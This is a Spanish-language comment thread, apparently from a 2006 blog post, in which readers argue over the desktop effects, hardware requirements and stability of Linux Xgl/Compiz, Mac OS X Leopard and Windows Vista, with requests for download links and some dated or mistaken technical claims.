Me quito el sobre ante linux, dios mio, que pasada .......................

Me ha dejado con la boca abierta el de linux.

Creo que empezare a usar más linux, y usare el windows XP como videoconsola. Porque madre mia... Asi si que da gusto trabajar con el PC

waaaaaaaau ke pasada lo de linux.pero me gustaria sabes con que makina se ha hecho esto

Lo de Linux está bien si bajas el volumen de esa cutrada de banda sonora que le han puesto. Roza la horterada de un programa de corazón.

Y al tipo que hizo la demostración, que se relaje, parece tonto dando vueltas al cubito cada vez más rápido. ¿Está demostrando que versátil es el escritorio o lo rápido que lo renderiza su PC?

Por ese tipo de cosas tan chapuceras es por lo que la gente sigue pensando que los Linux son sólo para "frikis".

Sin palabras para Linux.

Siempre lo he considerado un SO poderoso y al ver que el nuevo Windows Vista estaba en camino no se queda atras y nos muestra que tambien lo puede hacer bien.

Woooooooooow linux opaco totalmente al vista y al mac os x leopard yo me esperaba mucho mas del mac y del windows vista no se diga todavia ni sale y ya es el SO mas famoso de mundo pero bueno es un version beta no?

increible linux, impactante, asombroso que increible programacion.... mis respetos a linux... ni OS X LEOPAR ni VISTA INSPIRANT LE LLEGAN A LAS RODIAS...

con que máquina esta funcionando linux? el vista te pide 1024 de ram, el linux cuanto?

Caray hermano linux deja sin palabrass i algien sabe como consegir GNU/Linux XGL/Compiz diganme y lo agradesere

jajajajajajajajajaja "1024 de ram" wakala es demasiado linux funciona solo con una tarjeta aceleradora grafica 3D el trabajo sucio lo hace la trajeta de video y no la ram por eso es que con 384 MB de ram en adelante y una tarjeta grafica 3D de por lo menos 128MB te va a funcionar un ejemplo:

Windows:

Cpu: de 25 a 65% de uso del Cpu cuando se usan los efectos

Linux:

Cpu: de 5 a 6% de uso del Cpu si se usan efectos agua cubo transparencias etc...

Mac Os: ??? aun no ahi muchos adelantos de este SO informen si saben!

Miren , soy informático , trabajo desde hace años en las tres plataformas , el vista he probado la beta 2 , sin lugar a dudas es el peor de los tres a la hora de utilizar recursos de memoria y procesador , lo carga más de la cuenta. El OSX sin lugar a dudas es el más estable y completo de los tres , permitiendote utilidades maravillosas como las protools , final cut etc , para los creadores de cine y de audio sin lugar a dudas es el mejor , repito SIN LUGAR A DUDAS , y en esto si que no hay discusión y se de lo que hablo , el linux lo uso hace años , lo usaba en la facultad y sigo usandolo actualmente , Realmente no hay nada innovador en las XGL que no se haya visto antes, las nuevas XGL han copiado los cambios de pantalla que apple usa hace años , además de el expose . Vista lo ha copiado todo no han innovado en nada de nada aunque el vista no está nada mal aunque prepara la cartera que el bolsillo para la máquina que hace falta te arruinará . El mac con leopard por ejemplo te permite un sistema de copia de seguridad que ningún sistema operativo ha tenido nunca copia de seguridad sin intervención del usuario . Es facilí­simo de usar y anda muy bien con máquinas no potentes leopard a partir de 1 gigahercio. ppc. La verdad es que a mi las XGL de linux estéticamente es el escritorio mejor conseguido es espectacular . El vista innova poco y calca el osx . Linux es un logro para cualquier usuario que esté en la facultad y no quiera gastar un duro en sistema operativo y además sea funcional pero no nos engañemos hay ambitos donde no hace nada de nada. En un ordenador Apple actual puedes tener los tres sistemas simultaneamente de forma legal . Por favor abstenerse de criticar cosas que no conoceis. La verdad es que en orden de preferencias . Si te vas a comprar una nueva máquina prueba un mac ahora puede correr windows de forma nativa y linux por supuesto además del os x en la misma máquina de forma nativa.

Linux consume menos recursos además, para correr Xgl tan sólo necesitas una targeta que soporte 3D y 384 MB de RAM, para correr vista necesitas al menos 1 GB en RAM, y OS X no es exactamente ligero.

Linux además, es MUY estable, a mí­ jamás se me ha trabado Linux (más especificamente SuSE), aplicaciones que dejen de responder sí­, pero de ahí­ no pasa, y el sistema NO se alenta, mientras que con Windows se te traba algo y se lleva todo consigo, ¿a quién no se le traba Windows? OS X es muy estable también, sin embargo, SÍ se traba, y CÓMO se traba.

Y correr SO en la misma máquina lo haces en donde sea... mientras tengas el espacio en HDD, yo tengo Windows y SuSE en la misma máquina (tengo Windows mas casi nunca lo abro) y además, mi hermana tiene una laptop Apple... Por lo tanto considero que mi opinión tiene fundamentos...

Cada SO tiene sus ventajas, para editar audio y video, OS X es el mejor sí­, para montar redes y manejar servidores como lo que usas para mandar este mensaje, Linux es mejor, y Windows... es más usable.

Yo uso linux debian + xgl + compiz en una makina con athlon xp 2000 mhz con 256 MB de RAM y una tarjeta aceleradora 3d de 64 MB y todo anda muy bien. Todos los efectos me andan funcionan espectacularmente bien. También probé el xgl +compiz en otra makina con duron de 1600 mhz +128 mb de RAM mas la misma tarjeta de video de 64mb y me funciono bastante bien excepto por algunas cosas que tardaban unos segundos en reaccionar .

Con linux no necesitas si o si comprar una super makina re-cara para tener un buen sistema, MUY estable, MUY potente y MUY vistoso. A partir de un PIV + 512 de RAM y una tarjeta aceleradora 3d de 128 mb teóricamente todo deberí­a funcionar de maravilla.

Los Mac son de lo mejor, muy potentes y vistosos, pero te quedaras sin ningún centavo por lo caro que es un equipo como ese jajaja. Además también puedes instalarte un mac os x como makina virtual sobre linux y usarlo en una ventana =).

Hablando del vista, jamas pagarí­a una licencia por ese so, no creo conveniente pagar por algo que no me da tan buena estabilidad, seguridad, potencia, y estética como linux, y que además requiere de un equipo mucho mas nuevo y caro.

Esta muy bien lo nuevo de Linux pero dejame decirles que tiene mucho del Sistema OSX de Apple hay muchas cosas que lo usa OSX, eso de ventanas translucido, y de algunas cosas con el efecto de Aqua es creado por Apple tanto windows como Linux se han copiado de ese interface lo de las ventanas animadas y de los iconos animados de los menu desplegables eso es de OSX de Apple creo que tanto Linux como Windows no han innovado nada solo se han copiado y lo han adaptado a su sistema, como siempre Apple inventa o innova y los demas le siguen para no quedarse atras, puede ser valido porque no pero, no digan que es creación de ellos, lo del Procesador Core Duo de Intel, se debe a la innovacion de Apple y ahora con el Xeon cuadrupe es otra innovacion de Apple que lo aprovecha los PC como siempre, Apple innova y los PC los usan.

Demasiado arrecho!!!!!!!!!!!!!! Linux por supuesto

linux con xgl+compiz lo mejor, yo lo ocupo en una pc con 256 de ram y cachen 8 mb de video, igual se ve la raja.

sep, la verdad es que a uno no le dan muchas ganas de comprarse un Win Vista.. ni siqiera a $5 pirata la verdad, pq la unica innovación que pretendián hacer eran los graficos, y por lo que se lee no lo vale, ya que como es costumbre, microsoft se pasa los requerimientos de hardware por el culo. y la tecnolgí­a de 64bits? que no me la vuelen con eso, bien que todavia no hay ni medio programa pensado para eso, apenas si está el DirectX10.. así­ que hasta unos 2 años no es ni remotamente lógico comprarlo...

si lo que buscara fuera un SO vistoso y que no me derrita el bolsillo me tirarí­a de cabeza al linux ese

ALGUEN PUEDE SENALAR ALGUN LINK PARA DESCARGAR LINUX

YA QUE POR LO QUE E LEIDO ME CORRERA SIN NINGUN PROBLEMA

INTEL CELERON D 2,53 GHZ

512 DE RAM

TARGETA GRAFICA 128 MB

PORFA NO OLVIDEN LOS LINK s

Como usuario doméstico y despues de probarlos los tres S.O. me quedo con Mac Os X, es el mejor. Durante un tiempo he estado trasteando pcs con distintas distribuciones de linux (SuSe, Mandrake, Mandriva...) y la verdad es que linux es muy bueno, muy estable, gestiona los recursos mejor que windows pero no me acabó de convencer porque es damasiado dificil para usuarios con pocos conocimientos y me dieron problemas el el reconocimiento del hardware (modem). Ahora estoy empezando con Mac Os X Tiger y os puedo asegurar que es infinitamente mejor que Windows y superior a Linux (aunque este cada dí­a le pise más los talones).

MAC OS X es el mejorrrr

pos la verdad linux es el mejor hasta ahora, linux ya supero a windows aunque no lo crean

ya lo unico que falta es que todos tengan linux

exelente el linux la verdad q me sorprendio siempre use el xp y la verdad que ahora me quedo con el linux!!!

Para los que deseen saber mas de Linux y de sus novedades pueden visitar www.espaciolinux.com o encomendarse a san google...

hola a todos alguien save de algun manual o que sepa instalar estos dos sistemas en un solo pc me baje el linux y parece bastante complicado instalarlo junto con win xp si alguien save algo se lo agradeceria mucho muchas gracias anticipadas un saludo... mi correo es (( anarkia58@hotmail.com ))

***** SU MADRE ME VOY A CAMBIAR AL LINUX ESTE SE VE MAS PERRO QUE EL WINDOWS Y EL MAC DESPUES QUE ME COMPRE UNA RAM DE 2 GB Y UNA TARJETA DE VIDEO DE 512 USARE EL VISTA QUE SI ES EL MEJOR DE TODOS PERO SI TUVIERAS ESAS CARACTERISTICAS

ES muy apresurado hacer esta evaluacion. Por si no lo saben todaví­a no se revela el verdadero Leopard. Lo que han visto solo es una muestra de novedades que va a incluir, pero lo mejor lo van a mostrar hasta el proximo año, para protegerse de los copiones de Microsoft.

Ahorita no tengo el link de MacWorld donde leí­ esto.

Saludos y tranquilos.... Leopard será otro boleto y MUY Superior.

Yo les recomiendo la distro de Linux "Ubuntu" en un par de dí­as sale su nueva versión Edgy Eft, ke hace la instalación del compiz, ahora llamado "Beryl" un poco más sencilla (o se creí­an ke era todo taaan facil :P) )

http://www.ubuntu-es.org/

yo tengo el Ubuntu Dapper con Beryl., y va super., en una p4 3ghz 1gb ram 256 video

Windows parece no cambiar., sigue tan rigido como su 3.1 hace mas de 10 años atrás.

Mac es verdad., siempre en la punta de la innovación., pero Linux., es GRATIS, y CODIGO ABIERTO

Y eso no tiene precio ., no! en serio! NO TIENE PRECIO!!!

Pues si me fijo sólo en la parte visual, me parece una maravilla el Linux, lo malo es que en diseño gráfico no se si puedo usar los programas habituales como InDesign, DreamWeaver, o programas como 3ds Max, supongo que habra programas que hagan lo mismo en Linux, pero en la imprenta los podran usar? En Windows hago de todo y mantengo bajo control virus y esas cosas y no me gusta la prepotencia de mac aunque se que es buena máquina.

Buenp, para mi lo mejor es el osx. ahora escribo desde el OSX86 10.4.6 .. jejeje

los mac.. son los mejores.. bueno para mi gusto.. igual utilizo linux.. xgl+ beryl.. o aiglx+beryl.. tambien.. myt buenos bonitos.. etc etc

pero me quero con el osx..

saludos

sencilla mente el linux es lo mejor de lo mejor al igual que el mac bueno a bajar el linux puesss y el vista pues que se vaya a la chingadaaaaaaaaaaaaa

necesito los requerimientos basicos que que exige el linux suse por fa!!!!!

pues yo uso mandriva 2007 y la verdad no hay palabras para comiz y xgl, yo ya he activado el cubo

mi sistema es un atlon a 1.6 ghz

memoria ram 500mb

y la targeta grafica es una ati de 64 MB ( descontinuada hace 2 años)

y yo pensaba que la grafica era "vieja" pero funciona al 100% es mas codifificando ogg, estando en internet y escuchando mis mp3 al mismo tiempo el cubo siguio girando como loco no se traba para nada , saludos

rayos ... nose como hay gente que todavia ama estar con windows... con mac se puede entender..pues son SO primos pero linux ... bueno es lo maximo... q rechevere el cubo con los multiescritorios.... ya no ya....

:o!!! linux parece tecnologia marciana, nunca pense que pudiera ser asi !!!

hola quiero probar tambien el LINUX+XGL si alguien me puediera pasar los link de donde pueda descargarlo se ve q linux es mucho mejor que windows porfa envienme el link para descargar linux+xgl mi msn es libra_2591@hotmail.com

hey loco admito k los de linux se la comieron pero es verdad como dicen estas personas:

Carlos Saavedra y Javier estas personas saben lo k hablan y yo los apoyo por k linux venga ahora con un visual mas jevi no quiere decir k sea mejor k ninguno lo k pasa es k ustedes estan impresionados por k linux nunca habia tirado algo igual pero si se fijan todo lo k iso el vista y el linux es pura copia de el mac ox ahora eso k hicieron con el cubito claro k no fue copia por k mac no utiliza cuatro escritorios pero a mi no me causo ninguna imprecion ellos solo tratan de mantenerse y no caer k es lo k le podria pasar a windos si no fuera k microsoft es muy fuerte pero sino hace mucho k se abria ido a la quiebra todo esto es una porqueria comparado con mac ventajas de windos solamente k en el tu puedes jugar todos los juegos k existen para pc, las de linux k sirve como servidor esto es lo unico bueno de linux a y la seguridad k por supuesto MAC lo supera en cuanto a seguridad se refiere jaja.

ah y por favor el k sepa de esto por favor k me agregue k tengo a un amigo k no sabe lo k dice compara a MAC con Windows jajajaj mi correo es DARK_SHADOW354@HOTMAIL.COM

Para quienes quieran descargar OpenSuSE

http://es.opensuse.org/Bienvenidos_a_openSUSE.org

o directamente

http://es.opensuse.org/Released_Version

Busquen los enlaces, no es tardado y se van a divertir

Uso OpenSuse 10.1 en una pentium II con 128 en Ram, ni soñando le puedo meter el Win Vista, y no puedo cambiar de equipo por que es el de mi trabajo, y no hay presupuesto cada 2 años para renovar el equipo.

El trabajo con SuSE es estable, el entorno gráfico es agradable y uso las transparencias sin problemas, no tengo una tarjeta de video para lo del cubo, y creo que ya no las fabrican, y por cierto los programas para mac y win NO son gratis, para linux SI. Sólo hay que buscar...

PUES VERAN VISTA ES UNA PLATAFORMA MUY INESTABLE Y ESTA DEL ASCO

AQUA TIENE MUCHA ESTETICA Y ADEMAS COPIA PARTE DE LA INTERFAZ GRAFICA DE MAC

EN CUANTO A MAC ES MAS ESTABLE Y COMO YO HE PROBADO LOS TRES SISTEMAS

PUEDO DECIR QUE ME QUEDO CON MAC

ADEMAS EL VERDADERO MAC ESTA POR VENIR.... ESPERENLO

os me parece que vista no tine nada que hacer ante la grandesa coño de GNU tio

jaja me da mucha risa leer a todos los usuarios de MAC diciendo que todos son una porquerí­a excepto mac :P

Pss estan medio locos chavos se nota q no saben ni papa xD

En cuanto a los efectos visuales si bien es verdad que mac trabaja con ellos desde hace mas tiempo que linux, no es verdad que linux haya copiado 'todo'. Hay muchas inovaciones por parte de compiz y pues el servidor xgl se viene usando ya hace un tiempo.

De mocosoft vista me ahorro comentarios. Esos de mocosoft tienen kaka en la cabeza.

Y sobre la estabilidad, la mayor estabilidad es conseguida en linux, que es un OS basado en unix y para todos los osicones de mac q no lo saben :P MAC OS tambien trabaja con un kernel base unix, desarrollado hace tiempo bajo otra licencia., Darwin es el nucelo de su amado MAC OSX :P y aun así­ es mucho mas inestable mac, se traba bastante cosa que no sucede en linux.

El unico problema q tiene linux son las aplicaciones. En otras palabras le falta desarrollo de software, pero esto es solo cuestion de tiempo.

Con la salida del windows vista y sus 'protecciones antipirateria', agregado a los mega requerimientos de hardware y la licencia que va a estar por las NUBES, mucha gente se vera forzada a cambiar de plataforma y con esto el software comenzara a migrar a linux.

En unos 10 años linux sera el OS mas usado en el mundo.

Siguiendo con lña discusion, y escribiendo desde una bellisima g4, la verdad es que no se po rque dicen que el linux es mas estable que el mac sera por que todavia no hayt muchos virus para linux que, pero la verdad es que con mac se trabaja agusto simplemente funciona, nada de pasarte el fin de semana bajanbdote repositorios cmo lo he hehco yo en 2 maquinas donde tengo el ubuntu dapper y el suse 10.1 (dolores de cabeza) creo que incluso sigo prefiriendo hasta un hackintosh que el linux que esta muy logrado el xgl pero en donde no puedo poner a trabajar a mi hermana de 12 años por que el kopete o gaim o amsn no no le llegan al msn de windows o mac, asi que tengo que depender del windows por cuestiones familiares , yo con las mac donde trabajo que gozada! y con mi hackintosh en mi casa y para perder el tiempo con ubuntu cuando quiero torturarme.. asi que ahy decidan.

Ha por cierto se me olvidava comentar del window$ que la verdad sin excepcion de versiones, todas son una mierda, inestables y que la verdad parece que estan programados para que te compres computadora nueva cada que sale algo nuevo, por que micosoft es basura comercial y parece programada por orates saludos!

Jejeje, se la comieron con el video de linux, ponen la pelicula Minority Report con Tom Cruise buscando los archivos en la computadora con sus manos para comparar como se ve el cubo de XGL y los efectos de las ventanas, buenisimo. A eso vamos señores!! a eso vamos!! que viva Linux!!.

Hola chicos, si alguien tiene una dudad y desea migrar a linux, llamenme mi telefono xx xx xx 86 con raul y resolvere sus dudas, saludos

Nota de Edición: No vayas poniendo tu teléfono por Internet Raúl, que hay mucho malo maloso suelto ;-)

yo le voy a instalar ubuntu edgy 6.10 a mi computador seguidme coño tio con xcrosever para correr las aplicaciones de windows

Pues ya serí­a la hostia si esto del xgl se instalara con algo así­ como "Setup_xgl.exe" y funcionara además en todas las distribuciones. Pero, como todo en linux, hay que currárselo bastante, primero instalando los drivers propietarios de ati o nvidia (parece que sólo va con estas tarjetas) y después instalando los paquetes necesarios.

De todas formas, tampoco le veo mucha utilidad el darle vueltas todo el dí­a al dichoso cubo. Es más, cuando uso linux, raras veces uso otros escritorios, aparte del principal.

Bueno muy interesante la interfaz grafica que han podido desarrollar con el sistema Operativo linux, pero cuando se habla de un sistema operativo, solo los usuarios son los que observan solo los detalles graficos, pero srs un sistema operativo no se puede medir solo por que es bonito, ahora desconozco las novedades del linux que estan mostrando, y ustedes creen que microsoft se va a quedar con esa??????????. vamos a ver que nos depara microsoft para su lanzamiento oficial el 30 de enero.....

Para empezar Mac NO ES PREPOTENE, es la unica corporacion que crea el hardware y el software, ademas nunca se reserva propiedades a los clientes, como en el caso de Windows que vende cualquier porqueria por separado y su precio esta por las nubes.

Preguntenle a alguien que tuvo una mac y diganle que si la cambio por un PC.

Yo ya he cambiado 6 PC´S y estoy ARTO, pienso comprarme una iMac.

ALGUIEN ME PODRIA DAR LOS REQUERIMIENTOS MINIMOS DEL Mac OS X Tiger 10.4 Y EL LINK PARA DESCARGAR????

Gonzalo, supongo q te refieres al leopard no?

sin duda hoy en dia el linux esta creando de apoco un espacio en los computadores, consolas (ps3) y en las grandes redes del mundo. no es de extrañar que en 10 años mas estemos hablando de linux como el isiitema operativo mas usado!!!(en ese momento).

gonzalo yo uso mac os x y es mas que genial, es estable y cada vez la compatibilidad es mayor.

la velocidad de tu equipo con el pasar del tiempo es la misma desde el dia que instalaste mac os x en tu equipo, y no nos olvidemos que no tiene virus y todas porqueria que usa windows

hola, me gustaria migrar a Linux, y me dijeron que se puede pedir un CD TOTALMENTE GRATUITO, SIN COSTOS DE ENVIO NI NADA ¿ES VERDAD?????????? Y SI LO ES DONDE LO PIDO??????

GRACIAS

Bien he leido en algun comentario k LInux es mas dificil de usar y... efectivamente es mas dificil si estas acostrumbrado a Windows pero ¿a quien no le gustan los retos?

Ademas es gratis lo kualo le suma muchos puntos a su favor.

¿Window$? buah no entiendo k haya gente que use el windows y se vaia a comprar el windows vista. Respecto a lo del lanzamiento oficial de window$ vista para el 30 de enero kreo k ya muchas novadades como k no pues ya no peuden copiar a nadie y klaro se les acavan las ideas... weno talvez pongan un fondo de pantalla k ponga: "He pagado un paston por un SO malisimo WIndoW$" y kon un bonito fondo con billetes de € y $. ¬¬

Osea k conclusiones:

Linux dificultad alta lo kualo mola, es gratis, no pide grandes rekerimientos y sencillamente el mejor en graficos pero no hay software.

Mac inovando siempre, se puede usar bien, de wais en una makina normalita.

Window$ aaaa.... hmmm..... pos sencillamente se necesita una makina de alto muuuy alto rendimiento basicamente no han inovado en nada y los garficos k puede k sea los unicos en lo k hayan canviado son bastante cutres

HOLA SOY UN TIPO VALIENTE QUE QUIERE INSTALAR WINDOWS VISTA EN MI PC Y ESTA ES:

intel celeron 2.8GHz

80GB disco duro

Memoria de 512MB Ram

Tarjeta grafica de 64MB

Nesecito sugerencias

Quello no jodas, lee los comentarios y te lo digo por experiencia

necesitaras un min de 1 GB de RAM para correr el vista la version basica sin la Interfaz Aero, si gustas tener todas las caracteristicas que te da el Windows Vista Completo requieres de 2GB de RAM y un muy buen Micro, pasadito de los 2.8 Ghz muy preferente arriva de 1.6 Ghz doble core.....

no pierdas el tiempo Saludos.

Veo en este post: Guerra de Escritorios: Linux Xgl/Compiz | Apple Aqua | Vista Aero una comparativa muy interesante entre lo que ofrece cada uno de los sistemas operativos que se cocinan para finales de año, principios del proximo.

Además de las comparativas visuales hay que recalcar que, además:

Windows vista: estará disponible a partir de principios del 2007 (supuestamente, aunque se habia anunciado para mediados del 2004). Ccuesta algo de dinero. Seguramente requerirás actualizar tu PC, es decir, comprar una nueva y mas potente.

Mac OSX 10.5 Leopard: estará disponible mas o menos por las mismas fechas, tambien es de pago y además, solo corre en una MAc (es decir si quieres usarlo debes comprar toda la computadora).

XGL-compiz en GNU/Linux: Disponible en este momento, aunque aun en etapa de pruebas, pero es suficientemente estable como para uso diario (adivinen que uso actualmente). no cuesta un centavo y en cuanto a requerimentos de hardware, la mayoria de las PCí­€í­í­€Å¾í­Â¢s modernas lo corren, siento el unico requerimiento, tener una Tarjeta gráfica de medio pelo para arriba.

Asi que, cual les convence mas?

(el comentario me lo vole de http://fredcpp.wordpress.com/2006/08/19/guerra-de

-escritorios-linux-xglcompiz-apple-aqua-vista-aero/ )

Suerte a todos

me llama mas la atencion Linux, ademas de ser codigo avierto y puedes experimentar y mejorarlo y no gastas ni 1 peso, asta te mandan los CDS originales, por tan solo el precio de la encomienda...

doc se nota que no sabes nada una ves fui donde un amigo y tenia vista corriendo perfectamente y sin problema con una memoria 640MB de RAM en una pc que tiene incluso tenia una tarjeta grafica de 32mb y le ejecutaba perfectamente aero.

estoy deacuerdo con el informatico que antes hablaba, además creo que windows vista está aun por probar, a exepción de quien se lo baje claro. En el video es muxo más alucinante los graficos y el dado que ya conociamos. Sin embargo, es el sistema más estable de tods pero con diferencia. Eso de que linux en suse te funciona muy bien no lo dudo, pero bajo mi punto de vista Suse debe ser la deshonrra total de linux. Es la más popular pero es terrorifica encuanto a estabilidad con gnome, por ejemplo. Mi consejo es que utiliceis Ubuntu, Fedora si quereis utilizarlo a nivel usuario y si quereis utilizarlo como servidor utilizar RedHat. Sin lugar a dudas. Ah!Yo también soy informatico pero respeto la ignorancia hasta cierto punto de aficionados.

Hola. quiero saber si alguien probo lotux neon 3d o lotux saturn.

yo aun no lo he probado. es un sistema operativo 3d basado en linux y compatible con windows o algo asi pero es de pago. he probado el tuquito y esta bastante bueno pero nada de compatibilidad con windows. para los cyber busco algo que mas que compatibilidad tenga una similitud para que los usuarios no se molesten porque todos le tienen fobia al linux. pero las licencias de windows cuestan un suicidio. Salutos a todos los linuxeros, ubunteros, wineros ebrios, y suseros.

Pues la mejor distro (para mi) es ubuntu dapper con xgl, mandriva es muy buena distro pero es un poco más lenta, y digo dapper por q edgy para mi es una porqueria repito para mi yo lo probe y la verdad me regrese a mi amado dapper, les recomendaria que se instalan linux, en especial ubuntu dapper aunque es más reciente la edgy, la dapper tiene 3 y 5 años de soporte, pues la verdad yo creo que edgy es una actualizacion visual y no un ubuntu estable, lo cual dapper si lo es, si alguien le gusto más edgy que bueno por q yo no me regreso a edgy.

LOTUX NEON ES UN SISTEMA OPERATIVO 3D TOTALMENTE COMPATIBLE CON WINDOWS, TIENE MUCHAS VENTAJAS: ESTA DESIGNADO PARA USAR MEJORMENTE LOS RECURSOS DE HARDWARE, ES INMUNE A LOS VIRUS, LAS APLICACIONES SE EJECUTAN MAS MEJORMENTE, LOTUX NEON ES MAS RAPIDO Y ESTABLE GRACIAS A LIBRERIAS MAS SENCILLAS PERO MAS DETALLADAMENTE PROGRAMADAS PARA LOGRAR MAS VELOCIDAD Y ESTABILIDAD, LOTUX SATURN TODAVIA NO ESTA EN EL MERCADO, SU PRESENTACION ESTA PREVISTA PARA MARZO DE 2007

EL interfaz grafico de Linux es impresionante, pero sigo sin verle utilidad a tantas chorradas. Para que sirve el efecto de agua? Para que sirve tener unas ventanasa de goma? Cada vez que mueves una ventana tienes que esperar a que se pare para poder utilizar su contendio!!!!

La interfaz de windows sera mas cutre que la de linux, pero sigue estando orientada a la facilidad de uso y la de linux, por mucho que digais no.

Y el MAC OS es un tema aparte y desconocido por la mayoria

hola, ese linux anda de lujo en el video, queria saber si la version SuSE tiene para hacer lo del cubo. Mac Os, siempre me gustó, pero no se si andará bien en mi pc(athlon xp 2000, 512ram, ati radeon 9550 128mb) - cesaromar1978@gmail.com -

Saludos.

Cuando se llega al extremo de comparar Windows (cualquier version) con Linux o Mac OS X, es porque no se tiene ni p... idea de informática. Tecnicamente Windows es el sistema operativo más inestable, inseguro, malo y mal diseñado que existe. Linux es el hijo pequeño de Unix, recuerden esto. Linux es estable porque está basado en un sistema robusto como Unix, en tanto que el Mac OS X es el mismo Unix en persona con una GUI adecuada y fácil de usar.

La ventaja de Linux es que es gratuito y de código abierto, pero esto es también una desventaja porque andan por ahí­ muchas versiones mal hechas para no decir otra cosa.

Alquien dijo en este foro que si quieres instalar Mac OS X tienes que comprar la máquina entera. Yo me pregunto, dondé instalarí­a él el Windows o el Linux?, en la cafetera?. No se puede partir de la premisa de que se tiene un Pc y que para instalar el Mac OS X hay que comprar un Mac, porque seguro que muchisimos de los usuarios de de este foro tienen un Mac (felizmente).

Un saludo

PS: Windows hay que compararlo con MS DOS o alguna otra basura de esas, no con Linux ni con Mac OS X que son asuntos serios.

Lo de Linux lo tiene un amigo con Suse en un notebook HP de los comunes de los que tienen Sempron creo que el nx6125, y los efectos andan impresionantes sin ninguna interrupcion ; y creo que para que te ande en Windows Vista los requerimientos de hardware son mayores y los efectos no tienen nada de especial, por lo menos los que vi aqui, yo igual no pienso instalar Vista nunca, me quedo con una pequeña partición en Xp para los juegos y el resto del disco para el pinguino!!!

Lo que dijo Matias me parece muy correcto. De checho Mac es con su grande equilibrio, un conjunto de buena calidad y buenas soluciones tecnicas.

Linux es espectacular tambien pero el problema de Linux para mi parece ser que justo por ser un software libre, miles se han puesto ha hacer versiones y familias de versiones diferentes, aveces incompatibles entre ellas. De hecho las grandes producciones de Linux como SUSE de Novell y su desarrollador aleman, han hecho de Linux algo muy serio e interesante. Segun mi punto de vista SUSE es una espectacular alternativa a Windows. Es por eso que hemos basado todos los productos Lotux en SUSE. Por lo que tiene que ver Mac... da lastima como un producto tan bueno no sea comercializado al nivel de Microsoft...

Esto ya es un problema de marketing... Microsoft vende como nadie, y ese es un merito indiscutible... Es como comparar Fiat a BMW.... por supuesto que fiat vende mas... pero si compramos la barata fiat no podemos pretender de tener las mismas condiciones de uso que en una BMW...

Los programadores de MAC OS estan por lo menos 5 y tambien 8 años mas adelantados que los de Microsoft... Pero a Bill Gates no le importa mucho la calidad de su producto, le importa hacer llegar su windows a cada hogar y empresa aunque sea en su version pirata... todo eso hace de Microsoft una de las empresas mas grandes del mundo... Ahora me pregunto... Que seria de un producto como Mac OS a la mitad de precio de Windows ???

Realmente deseo que Mac venda mas que Microsoft ya que tecnicamente y calitativamente se lo merecen, como tambien espero que versiones estables, completas y full featured de Linux sean distribuidas. Eso es lo que estamos tratando de hacer con nuestro Lotux. Tambien Google parece que quiere entrar en el mercado de los sistemas operativos... y no se porque pero me suena como que sera un grande exito... porque los productos realizados por Google, no se si son los mejores, pero todos funcionan bastante bien. Creo que el GoogleOS sera basado en una version mejorada de Ubuntu....

Hay mas informacion en internet.

La linea de comando es lo mas seguro y basico, pero el entorno grafico es una via inevitable de la actualidad y futuro de los sistemas operativos...

El procesador prefiere la simple linea de comando para no tener que calcular demaciado pero la mente umana reacciona mas eficientemente con un entorno grafico que le permite graficamente recordar la posicion de los objetos. Algunos efectos de desplazamiento o 3D del Linux creo que sean algo mas que un jueguito...Yo lo veo mas como una naturalizacion de la tecnologia, volviendo mas agradable el uso de la computadora y facilitando el uso de la tecnologia especialmente a los inexpertos. Si una computadora simulara totalmente el escritorio de una oficina, se volveria muy facil su uso tambien para los mas hermitaños y alejados de la tecnologia. El Bump Top Desktop es un ejemplo de esta idea, que queremos integrar como estandard en el Lotux Saturn en el 2008. El fin de esta integracion no es hacer de la computadora un juego, sino es para volver la tecnologia mas amigable, seria y util para todos.

Saludos.

Mac OS X funciona en mi antiguo G3, procesador que no llega a los 400Mhz, con 256mb RAM y con una gráfica de 8Mb. Eso si, con efectos gráficos desactivados porque no los soporta la gráfica, pero el sistema funciona de forma bastante decente. Tiene la última versión instalada, Tiger 10.4.8, y mi hermana lo utiliza diariamente para navegar por internet, mirar pelí­culas, ... sin nigun tipo de problema ni queja. Si no tengo queja de ese ordenador, que voy a decir de mi nuevo iMac Intel Core Duo, ... IM-PRESIONANTE. Y tener Windows, Linux y MacOSX en el mismo ordenador y de forma legal, ... sin palabras. Creo que se de lo que hablo, llevo de los 12 añitos con Macintosh en casa, por suerte mi padre me educó bien.

El Linux con XGL es muy bonito al principio, pero acaban aburriendo y molestando y solo tiene la utilidad de dejar con la boca abierta a tus amigos. Está bien utilizar algunos efectos gráficos agradables, pero no tantos. OJO! Linux, como sistema operativo me parece una excelente opción, solo critico el exceso de efectos.

La verdad que XGL no me sorprendió mucho cuando lo vi, ya que en OS X lo llevo viendo con Aqua desde el 2000 con Mac OS X 10.0. Haber que pasará con Leopard, porque la nueva interfaz gráfica es TOP SECRET y hasta Enero no sabremos nada. Hay rumores que dicen que abandonará AQUA y la nueva interface será ILLUMINOUS, y que se basará en la interface iTunes 7 y algun toque de negro mate. También aprovechará el nuevo "CORE ANIMATION", supongo que esto provocará animaciones mas espectaculares, o iconos animados... Ahora espero que sean algunos detalles, no como el XGL que acaba cansando la vista.

Del Windows Vista, mejor no hablar... no se cuantos años de desarrollo para sacar un Windows XP con nuevo tema visual, con transparencias que confunden la vista y requisitos inexplicables. Instalé el Vista Ultimate en mi ordenador para curiosear y lo eliminé en menos de una semana. Nada de innovación, xDDDD... que copia de OS X. Copian y lo hacen mal.

Yo me quedo primero con OS X, y después con Ubuntu. Los dos superrecomendables y me dan todo lo que necesito. Y Windows para jugar al PES6, aunque para eso el Windows XP. El VISTA no lo recomiendo a nadie.

Algunos que comentan aquí­ que los efectos linux y windows son una copia del mac os X...

Windows, efectivamente, copia de Apple, como lleva haciendo mucho tiempo, para intentar que su sistema, algo inestable e inseguro, siga atrayendo al público, y no perder mercado (se les va a acabar el chollo).

Linux: alguien sabe en que sistema operativo esta basado Mac OS X??Unix....poco mas o menos, Linux....Alguien sabe sobre qué sistema gráfico funciona el escritorio de Apple actualmente?? Les suena X11???De dónde sale X11?? No se lancen a decir que Apple es la única que innova, cuando su sistema utiliza tecnologí­as basadas en las ya existentes en Linux desde hace tiempo, infórmense un poco... (no pretendo quitar méritos a Apple, un sistema operativo realmente muy logrado y muy cómodo, pero no son los únicos "innovadores" a pesar de lo que pueda parecer)...

